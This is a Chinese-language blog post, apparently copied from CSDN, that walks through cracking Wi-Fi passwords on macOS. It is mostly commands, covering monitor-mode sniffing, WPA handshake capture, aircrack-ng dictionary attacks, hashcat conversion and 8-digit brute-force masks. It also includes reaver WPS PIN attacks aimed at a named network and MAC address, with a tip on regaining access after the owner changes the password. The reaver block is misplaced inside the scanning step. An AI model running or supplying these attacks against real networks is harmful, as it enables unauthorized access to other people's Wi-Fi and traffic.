wifi 密码

macbook 监听模式

sudo tcpdump -Ii en0 > sniff

macOS 安装aircrack-ng
macOS系统版本
1，安装和更新aircrack-ng
2，查看 aircrack-ng版本
3，查看附近wifi
4，抓包
5，跑字典
6，安装hashcat
7，安装hashcat-utils
8，cap 转 hccapx
9，hashcat破解密码
9.1 hashcat 规则破解密码
10，在线HASH CRACK
macOS系统版本

sw_vers

ProductName:    Mac OS X
ProductVersion: 10.13.6
BuildVersion:   17G65

1，安装和更新aircrack-ng

brew search aircrack-ng
brew install aircrack-ng
brew upgrade aircrack-ng

2，查看 aircrack-ng版本

brew info aircrack-ng

aircrack-ng: stable 1.4

3，查看附近wifi

sudo /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s

参数说明：
-i  无线网卡名称
-b  目标AP的mac地址
-a  自动检测目标AP最佳配置
-S  使用最小的DH key，可以提高破解速度
-vv  显示更多的非严重警告（注意这是 2 个小写字母 v）
-d  即delay每穷举一次的闲置时间 预设为1秒
-c  信道编号
-p  PIN码四位或八位  //可以用8位直接找到密码。


  破解时推荐使用这个命令：reaver -i ChinaNet-JN2U -b 8c:6d:77:70:8c:f0 -a -S -d9 -t9 -vv,因为–d9 –t9参数可以防止pin死路由器。

  第七步：去睡个觉，或者开几局王者，因为这个破解的时间比较长。

  破解完成之后，查看并记录下 PIN码 和 密码

  获取到 PIN码 后，以后即便路由器更换了密码，我们也可以很迅速地通过 PIN码 重新获得新密码。举例：

    reaver  -i  wlan0mon -b  xx:xx:xx:xx:xx:xx  -p 12345670

4，抓包
参数en0是我电脑的默认网卡， 数字6是网卡需要监听的网络频道:

sudo /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport en0 sniff 6

en1 无线网卡名称
1 破解Wi-Fi信道CHANNEL

aircrack-ng /tmp/airportSniffxNVV5o.cap | grep 1B:42
aircrack-ng airportSniffxQnNSI.cap | grep "1 handshake"

WPA (0 handshake) 0没有抓到握手包
WPA (1 handshake) 1成功抓到握手包

5，跑字典

aircrack-ng -w pass.txt /tmp/airportSniffxNVV5o.cap

aircrack-ng -w pass.txt -b e4:f3:f5:93:1b:42 /tmp/airportSniffxNVV5o.cap

6，安装hashcat

brew search hashcat
brew install hashcat

7，安装hashcat-utils

git clone https://github.com/hashcat/hashcat-utils
cd hashcat-utils/src/
make

8，cap 转 hccapx

./cap2hccapx.bin /tmp/airportSniffxQnNSI.cap /tmp/output.hccapx MERCURY_1B44

9，hashcat破解密码

hashcat -m 2500 /tmp/output.hccapx /root/pass.txt

9.1 hashcat 规则破解密码

INFO: All hashes found in potfile! Use --show to display them.

删除hashcat.potfile中内容

find / -name "hashcat.potfile"

-a 3 : 攻击模式 3 = Brute-force（掩码暴力破解）
?d?d?d?d?d?d?d?d : 8为数字破解 ，?d代表数字

hashcat -m 2500 -a 3 /tmp/output.hccapx   ?d?d?d?d?d?d?d?d

原文：https://blog.csdn.net/u010953692/article/details/83548524
版权声明：本文为博主原创文章，转载请附上博文链接！